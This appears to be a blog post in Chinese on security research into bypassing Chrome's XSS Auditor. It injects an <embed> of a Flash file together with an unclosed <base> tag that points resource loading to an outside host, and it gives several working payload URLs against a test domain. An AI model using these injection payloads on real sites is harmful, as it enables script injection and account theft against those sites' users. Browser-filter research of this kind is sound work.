利用Flash和base标签绕过XSS Auditor的技术分析

本文详细分析了如何通过结合Flash和base标签绕过Chrome XSS Auditor的防护机制,揭示了浏览器安全机制中的微妙漏洞,并提供了具体的攻击向量和测试案例。

XSS Auditor绕过:使用Flash和base标签

几天前,我和Mario一起研究Chrome XSS Auditor的绕过方法。

Mario发现了这个绕过方法:

XSS Auditor Bypasses 05.2016https://t.co/c9UcjpDZZM (有人要求PoC和测试案例,这里提供) — .mario (@0x6D6172696F) 2016年5月17日

我还发现了另一个绕过方法。在这篇文章中,我想分享我的攻击向量。

攻击向量如下:

1
2
3
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>

让我们来看看实现这个绕过的过程。

使用<embed>获取外部资源会被阻止:

1
2
3
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>

<embed src=https://evil/>

但是获取任何没有查询字符串的同源资源不会被阻止:

1
2
3
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>

<embed src=/aaa>

所以,如果我们能改变基础URL,就有可能进行XSS攻击。

base标签也会被阻止,但如果它没有用>闭合,在某些情况下Auditor不会阻止。

以下情况会被阻止:

1
2
3
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/

<div><base href=//evil/ </div>

但以下情况不会被阻止:

1
2
3
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/

<div><base href=//evil/</div>

你能看出区别吗?前者页面在注入点后面有一个空格。如果页面在注入点后面直接有空格,似乎会被Auditor阻止。换句话说,如果页面在注入点后面没有直接的空格,我们就可以注入base标签而不会被阻止。

因此,我的攻击向量有效!

1
2
3
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>

那么,如果页面在注入点后面直接有空格,我们就无法绕过了吗?不!我们仍然有机会绕过。

如果注入点下方存在"字符,我们可以使用未闭合的属性引号来绕过Auditor,比如<base href="//evil/

在以下条件下不会被阻止:

1
2
3
4
5
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/

<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>

我认为这个绕过方法很有用,因为大多数页面在注入点下方都有"字符。

另外,<script src=/xss.js></script><base href=//evil/也不会被阻止。但我们无法加载外部资源,因为在设置基础URL之前加载就已经开始了:

1
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

因此,我使用了Flash。

以上就是全部内容。感谢阅读我的文章 :)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计